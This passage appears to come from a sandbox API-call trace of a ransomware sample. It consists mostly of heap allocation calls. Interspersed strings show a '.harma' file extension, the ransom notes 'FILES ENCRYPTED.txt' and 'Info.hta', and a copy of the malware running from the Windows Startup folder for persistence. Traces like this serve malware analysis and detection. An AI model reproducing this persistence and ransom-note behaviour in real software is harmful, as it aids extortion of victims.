(HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4ea200 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea218 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea230 [0174.469] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9298, Size=0x400) returned 0x4e9298 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea248 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea260 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4ea278 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea290 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea2a8 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea2c0 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4ea2d8 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea2f0 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea308 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea320 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4fc588 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea338 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4ea350 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea368 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea380 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea398 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea3b0 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4ea3c8 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea3e0 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea3f8 [0174.469] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea410 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea428 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea440 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea458 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea470 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4ea488 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4fc598 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc968 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc980 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc998 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9b0 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9c8 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9e0 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9f8 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca10 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca28 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fca40 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca58 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fca70 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca88 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcaa0 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcab8 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcad0 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcae8 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcb00 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb18 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb30 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb48 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb60 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb78 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb90 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcba8 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcbc0 [0174.470] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcbd8 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcbf0 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc08 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc20 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc38 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc50 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc68 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc80 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc98 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4fccb0 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12) returned 0x4e6000 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fccc8 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcce0 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fccf8 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd10 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd28 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd68 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd80 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd98 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcdb0 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcdc8 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcde0 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcdf8 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce10 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce28 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce40 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce58 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce70 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce88 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcea0 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fceb8 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fced0 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcee8 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcf00 [0174.471] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fcf18 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcf30 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4fc5a8 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf48 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4fc5b8 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf60 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf78 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf90 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcfa8 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcfc0 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcfd8 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcff0 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fd008 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fd020 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fd038 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fd050 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fd068 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fd080 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fd098 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4fc5c8 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fd0b0 [0174.472] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fd0c8 [0174.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9298, Size=0x800) returned 0x4fd550 [0174.472] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4850, Size=0x8) returned 0x4c4850 [0174.472] lstrlenW (lpString=".harma") returned 6 [0174.473] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fde90 | out: hHeap=0x4b0000) returned 1 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdec0, Size=0x20) returned 0x4c4470 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4470, Size=0x40) returned 0x4e6b80 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b80, Size=0x80) returned 0x50b550 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc638, Size=0x8) returned 0x4fc648 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc648, Size=0x10) returned 0x4fdec0 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdec0, Size=0x20) returned 0x4c4448 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdef0, Size=0x20) returned 0x4e5a30 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a30, Size=0x40) returned 0x4e6b80 [0174.473] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdef0, Size=0x20) returned 0x4e5a30 [0174.473] lstrlenW (lpString="Info.hta") returned 8 [0174.473] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x51d540, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe")) returned 0x47 [0174.473] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d540 | out: hHeap=0x4b0000) returned 1 [0174.473] lstrlenW (lpString="3G6885.exe") returned 10 [0174.473] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4448, Size=0x40) returned 0x4e6b80 [0174.474] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdef0, Size=0x20) returned 0x4c4448 [0174.474] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdef0, Size=0x20) returned 0x4e5a30 [0174.474] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a30, Size=0x40) returned 0x4e6bc8 [0174.474] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6bc8, Size=0x80) returned 0x50b550 [0174.474] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x4fb548 [0174.474] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb548 | out: hHeap=0x4b0000) returned 1 [0174.474] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x51d540, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0174.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d548 | out: hHeap=0x4b0000) returned 1 [0174.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d540 | out: hHeap=0x4b0000) returned 1 [0174.474] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc648, Size=0x8) returned 0x4fc638 [0174.474] lstrlenW (lpString="%windir%;") returned 9 [0174.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4448 | out: hHeap=0x4b0000) returned 1 [0174.474] lstrlenW (lpString="C:\\Windows;") returned 11 [0174.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d538 | out: hHeap=0x4b0000) returned 1 [0174.474] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdf08, Size=0x20) returned 0x4c4448 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4448, Size=0x40) returned 0x4e6bc8 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6bc8, Size=0x80) returned 0x50b550 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x4fb548 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc678, Size=0x8) returned 0x4fc688 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc688, Size=0x10) returned 0x4fdf50 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdf50, Size=0x20) returned 0x4c4448 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc648, Size=0x8) returned 0x4fc688 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc658, Size=0x8) returned 0x4fc648 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc678, Size=0x8) returned 0x4fc698 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc698, Size=0x10) returned 0x4fdff8 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdff8, Size=0x20) returned 0x4e5a30 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc688, Size=0x10) returned 0x4fdff8 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc648, Size=0x10) returned 0x4fe028 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc688, Size=0x8) returned 0x4fc678 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc6a8, Size=0x8) returned 0x4fc6b8 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdff8, Size=0x20) returned 0x4e59e0 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe028, Size=0x20) returned 0x4e5940 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc6c8, Size=0x8) returned 0x4fc6d8 [0174.475] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe0a0, Size=0x20) returned 0x4e5a58 [0174.475] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x50d538, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0174.475] lstrlenW (lpString="C:\\") returned 3 [0174.475] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.476] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d538 | out: hHeap=0x4b0000) returned 1 [0174.476] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc708, Size=0x82) returned 0x4fbab0 [0174.476] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc728, Size=0x100) returned 0x4fbb40 [0174.476] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbab0, Size=0x104) returned 0x4fbd68 [0174.476] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbb40, Size=0x200) returned 0x4fbe78 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fc718 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbe78 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb6c8 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b6e8 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe100 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b770 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe130 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbd68 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe118 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbc48 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb6e0 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbcd8 | out: hHeap=0x4b0000) returned 1 [0174.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb6f8 | out: hHeap=0x4b0000) returned 1 [0174.477] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe118, Size=0x20) returned 0x4e5a80 [0174.477] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a80, Size=0x40) returned 0x4e6bc8 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe0e8, Size=0x20) returned 0x4e5a80 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a80, Size=0x40) returned 0x4e6c10 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6c10, Size=0x80) returned 0x50b550 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x4fbab0 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbab0, Size=0x200) returned 0x4fbab0 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbab0, Size=0x400) returned 0x4fbab0 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbab0, Size=0x800) returned 0x4fbab0 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbab0, Size=0x1000) returned 0x500160 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc6c8, Size=0x8) returned 0x4fc6e8 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc6e8, Size=0x10) returned 0x4fe100 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe100, Size=0x20) returned 0x4e5a80 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a80, Size=0x40) returned 0x4e6c10 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6c10, Size=0x80) returned 0x50b550 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x501180 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x501180, Size=0x200) returned 0x4fbeb0 [0174.479] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbeb0, Size=0x400) returned 0x503168 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x503168, Size=0x800) returned 0x504170 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505020, Size=0x20) returned 0x4e5a80 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a80, Size=0x40) returned 0x4e6c10 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6c10, Size=0x80) returned 0x50b550 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc868, Size=0x8) returned 0x4fc878 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc878, Size=0x10) returned 0x505020 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505020, Size=0x20) returned 0x4e5ad0 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505050, Size=0x20) returned 0x4e5af8 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5af8, Size=0x40) returned 0x4e6c10 [0174.480] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505050, Size=0x20) returned 0x4e5af8 [0174.480] lstrlenW (lpString="Info.hta") returned 8 [0174.480] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x52d560, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe")) returned 0x47 [0174.480] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d560 | out: hHeap=0x4b0000) returned 1 [0174.480] lstrlenW (lpString="3G6885.exe") returned 10 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5ad0, Size=0x40) returned 0x4e6c10 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505050, Size=0x20) returned 0x4e5ad0 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505050, Size=0x20) returned 0x4e5af8 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5af8, Size=0x40) returned 0x4e6c58 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6c58, Size=0x80) returned 0x50b550 [0174.480] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x501180 [0174.480] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501180 | out: hHeap=0x4b0000) returned 1 [0174.481] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x52d560, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0174.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53d568 | out: hHeap=0x4b0000) returned 1 [0174.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d560 | out: hHeap=0x4b0000) returned 1 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc878, Size=0x8) returned 0x4fc868 [0174.481] lstrlenW (lpString="%windir%;") returned 9 [0174.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ad0 | out: hHeap=0x4b0000) returned 1 [0174.481] lstrlenW (lpString="C:\\Windows;") returned 11 [0174.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d558 | out: hHeap=0x4b0000) returned 1 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505068, Size=0x20) returned 0x4e5ad0 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5ad0, Size=0x40) returned 0x4e6c58 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6c58, Size=0x80) returned 0x50b550 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x501180 [0174.481] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fc8a8, 